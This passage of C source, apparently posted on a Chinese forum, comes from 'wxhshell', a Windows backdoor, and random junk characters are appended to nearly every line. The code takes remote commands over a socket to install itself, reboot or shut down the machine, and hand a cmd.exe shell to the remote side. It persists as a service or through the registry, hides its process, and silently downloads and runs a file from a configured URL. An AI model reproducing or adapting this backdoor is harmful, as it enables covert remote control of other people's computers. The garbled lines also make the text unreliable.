    switch(cmd[0]) { tT'+3  
  aB.`'d)V  
  // 帮助 7cH[}v`pn  
  case '?': { %c):^;6p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~u3E+w  
    break; Ao2t=vg  
  } $5l8V  
  // 安装 VUk2pEGO.  
  case 'i': { 88G Q  F  
    if(Install()) al1Uf]xh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5F $W^N  
    else smJ%^'x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |nIm$p'  
    break; 7i`8 c =.  
    } :`25@<*u  
  // 卸载 -W2 !_  
  case 'r': { !ce5pA  
    if(Uninstall()) ^8-CUH\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]3y66 7  
    else k1W q$KCwG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iXeywO2nP  
    break; {'T=&`&OF  
    } Q u{#4qToA  
  // 显示 wxhshell 所在路径 1t6VS 3  
  case 'p': { ki48]#p  
    char svExeFile[MAX_PATH]; F.zn:yX5  
    strcpy(svExeFile,"\n\r"); H1]G<N3  
      strcat(svExeFile,ExeFile); &Nl:  
        send(wsh,svExeFile,strlen(svExeFile),0); (bY#!16C:  
    break; 7EO/T,{a  
    } s%GhjWZS  
  // 重启 ?"\X46Gz;  
  case 'b': { B[}#m'Lv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1jO}{U  
    if(Boot(REBOOT)) pbt/i+!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L'M'I0"/  
    else { $5Jo %K%  
    closesocket(wsh); 30bScW<08  
    ExitThread(0); :A.dlesv6  
    } /Ii a>XY  
    break; 4vQ]7`I.f  
    } C;QIp6"1  
  // 关机 0x*L"HD  
  case 'd': { _gxI=EYi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Gv n1"l  
    if(Boot(SHUTDOWN)) |5^tp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1--_E,Su>  
    else { x8+W9i0[1  
    closesocket(wsh); v@(Y:\>  
    ExitThread(0); ,onOwPz  
    } gmd-$%"  
    break; fO|oV0Rw  
    } )5Mf,  
  // 获取shell $# klgiL  
  case 's': { e@|/, W   
    CmdShell(wsh); Wz',>&a  
    closesocket(wsh); DE M;)-D  
    ExitThread(0); )*Xd  
    break; *z&m=G\  
  } /{QR:8}-Q  
  // 退出 l.NV]up +  
  case 'x': { KF(N=?KO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FwKT_XkY  
    CloseIt(wsh); {N!Xp:(<7_  
    break; e:#c\Ay+  
    } lky{<jZ%  
  // 离开 K =nW|^  
  case 'q': { m WN9/+!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4EQ-48h17  
    closesocket(wsh); .sCi9d WR  
    WSACleanup(); V/"P};n  
    exit(1); lB3@ jF  
    break; X] cI ?  
        } I@ "%iYL  
  } ~?`V$G=?,  
  } _8]hn[  
f sRRnD  
  // 提示信息 <_(UAv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); av~dH=&=  
} 99)md   
  } 3z5w}qN] M  
W(.q. Sx>  
  return; >..C^8 "  
} %an"cQ ]  
&Cv0oi&B  
// shell模块句柄 <O+T4.z  
int CmdShell(SOCKET sock) ;]XKe')  
{ 2vbm=~)$F  
STARTUPINFO si; xd }g1c  
ZeroMemory(&si,sizeof(si)); e !BablG[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NFxs4:] RT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z86[_l:  
PROCESS_INFORMATION ProcessInfo; :jo !Yi  
char cmdline[]="cmd"; 9OI&De5?=V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b9FfDDOq"  
  return 0; fdk]i/*)  
} H & L  
AXBf\ )[  
// 自身启动模式 /-J12O  
int StartFromService(void) $=) i{kGS@  
{ <~D-ew^BU  
typedef struct $w%n\t>B  
{ 1j4(/A  
  DWORD ExitStatus; 1T96W :   
  DWORD PebBaseAddress; ~m@v ~=  
  DWORD AffinityMask; ^6c=[N$aW  
  DWORD BasePriority; Pi7IBz  
  ULONG UniqueProcessId; G3r9@ 2OC  
  ULONG InheritedFromUniqueProcessId; 01~&H8 =  
}   PROCESS_BASIC_INFORMATION; VkKq<`t<  
e&*< "WN  
PROCNTQSIP NtQueryInformationProcess; |^ K"#K  
h0;PtQb1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0uZ 'j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; --X1oC52A  
'(N -jk  
  HANDLE             hProcess; ^ hoz<Ns  
  PROCESS_BASIC_INFORMATION pbi; AC'$~4  
9j6# #@{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^dc~hD  
  if(NULL == hInst ) return 0; !w+A3Z>V  
Pi^5LI6JW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^#:F8D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SY: gr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YS7R8|  
IG}`~% Z  
  if (!NtQueryInformationProcess) return 0; KB3zQJY  
0H<&*U_V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qQz f&"  
  if(!hProcess) return 0; "otks\I<  
&2i3"9k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gtizgUS7  
MGoYL \  
  CloseHandle(hProcess); YbX3_N&  
]6#7TT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )}{V#,xz@  
if(hProcess==NULL) return 0; l,(Mm,3  
`/+%mKlC|[  
HMODULE hMod; 2`|1 !x  
char procName[255]; ,sU#{.(  
unsigned long cbNeeded; ">?ocJ\9  
?z "fp$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ws_R S%  
 @%8Xa7+  
  CloseHandle(hProcess); g(9\r  
kB`t_`7f  
if(strstr(procName,"services")) return 1; // 以服务启动 P[|FK(l  
^g[,}t:/d  
  return 0; // 注册表启动 u2p5* gzZ  
} ~[E@P1  
;a]Lxx;-  
// 主模块 }digw(  
int StartWxhshell(LPSTR lpCmdLine) SHM ?32'  
{ !`S`%\"  
  SOCKET wsl; BPFd'- O)  
BOOL val=TRUE; UD 0v ia  
  int port=0; N;)Y+amg^  
  struct sockaddr_in door; h"b;e2  
.Vy*p")"  
  if(wscfg.ws_autoins) Install(); Y ;JP r  
>o\s'i[  
port=atoi(lpCmdLine); fWr6f`de  
8A|{jH74  
if(port<=0) port=wscfg.ws_port; t")+ L{  
\dIc_6/D1  
  WSADATA data; !>%U8A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OI=LuWGQE1  
A (:7q4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UIpW#t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); je9eJUKE  
  door.sin_family = AF_INET; q?Jd.r5*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uyd y[n\  
  door.sin_port = htons(port); 2(s+?n.N  
R`7v3{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CA0SH{PdW&  
closesocket(wsl); J2c.J/o  
return 1; /U|>  
} a{?`yO/ 2  
_.Ey_K_1  
  if(listen(wsl,2) == INVALID_SOCKET) { =U:9A=uEvS  
closesocket(wsl); vrS)VJg`  
return 1; AixQR[Ul*c  
} ,34|_  
  Wxhshell(wsl); iG:9uDY  
  WSACleanup(); ]Bp db'  
QQQ3U  
return 0; |2!!>1k  
XxN=vL&m  
} Y} '8`.  
?A!Lh,  
// 以NT服务方式启动 5kX#qT=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;g-L2(T05;  
{ m\3r<*q6  
DWORD   status = 0; UKIDFDn6_  
  DWORD   specificError = 0xfffffff; cBgdBPDa  
zjyj,jP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8{mQmG4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h)O<bI8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _`Ojh0@00  
  serviceStatus.dwWin32ExitCode     = 0; WK{{U$:$  
  serviceStatus.dwServiceSpecificExitCode = 0; {l/]+8G^  
  serviceStatus.dwCheckPoint       = 0; A5d(L4Q]a(  
  serviceStatus.dwWaitHint       = 0; [dszz7/L  
3YtFO;-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;n-)4b]\  
  if (hServiceStatusHandle==0) return; #g.J,L  
P)7_RE*gY  
status = GetLastError(); SUSam/xeg"  
  if (status!=NO_ERROR) <"SDU_<xG  
{ Je|D]w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IEi E6z]L(  
    serviceStatus.dwCheckPoint       = 0; Z*/*P4\  
    serviceStatus.dwWaitHint       = 0; f87> ul!*  
    serviceStatus.dwWin32ExitCode     = status; 'rT@r:6fn  
    serviceStatus.dwServiceSpecificExitCode = specificError; c*O{?b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ch`nDIne  
    return; 0YMmWxV  
  } /xK5%cE>B  
O@.afk"{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nm[ yp3B  
  serviceStatus.dwCheckPoint       = 0; ##%R|P3  
  serviceStatus.dwWaitHint       = 0; R]oi&"H@r)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q?Au.q],  
} wm3fd 7T  
;%Z%]nIS  
// 处理NT服务事件,比如:启动、停止 j( *;W}*^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8QFn/&Ql$B  
{ }v0IzGKs  
switch(fdwControl) B{ i5UhxD  
{ W]8tp@  
case SERVICE_CONTROL_STOP: 9!XW):  
  serviceStatus.dwWin32ExitCode = 0; S-FoyID\H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >[4;K&$B  
  serviceStatus.dwCheckPoint   = 0; myp}DI(  
  serviceStatus.dwWaitHint     = 0; Y,v8eOo45S  
  { kg2?IL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?}QHEk:H  
  } }m?1IU %q  
  return; tDuQ+|~M  
case SERVICE_CONTROL_PAUSE: GN36:>VWb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sFR'y.  
  break; 8[\(*E}d!X  
case SERVICE_CONTROL_CONTINUE: HJY_l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {J:ZM"GS  
  break; uUAib<wdPL  
case SERVICE_CONTROL_INTERROGATE: ~=t, g S  
  break; 7\'ow|)}v  
}; IN? A`A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O*af`J{  
} -j%!p^2j9  
]jWe']T  
// 标准应用程序主函数 R/H ?/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OL{U^uOhY  
{ m6qmZ2<  
+C~,q{u  
// 获取操作系统版本 gnS0$kCJ:  
OsIsNt=GetOsVer(); &} b'cO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oR.KtS$uh  
d2w;d&2S  
  // 从命令行安装 AJRfl%3  
  if(strpbrk(lpCmdLine,"iI")) Install();  (-\ ,t  
~jd:3ip+!  
  // 下载执行文件 Qp{rAAC:  
if(wscfg.ws_downexe) { O,Xf.O1c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t I9$m[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5S PGv}if  
} &i`\`6 q  
e+"r L]  
if(!OsIsNt) { opz.kP[e,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jo1=C.V`Y  
HideProc(); \ H#zRSbZ  
StartWxhshell(lpCmdLine); }r&^*" 2=  
} A9lnQCsJ  
else Sd]`I)  
  if(StartFromService()) -I1Ne^DZn4  
  // 以服务方式启动 Pnb?NVP!^9  
  StartServiceCtrlDispatcher(DispatchTable); Y(WX`\M97  
else f1Ruaz-  
  // 普通方式启动 oB27Y&nO  
  StartWxhshell(lpCmdLine); NpRT\cx3  
/easmf]  
return 0; >6XGF(G   
}
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只看该作者 1 发表于: 2006-10-10
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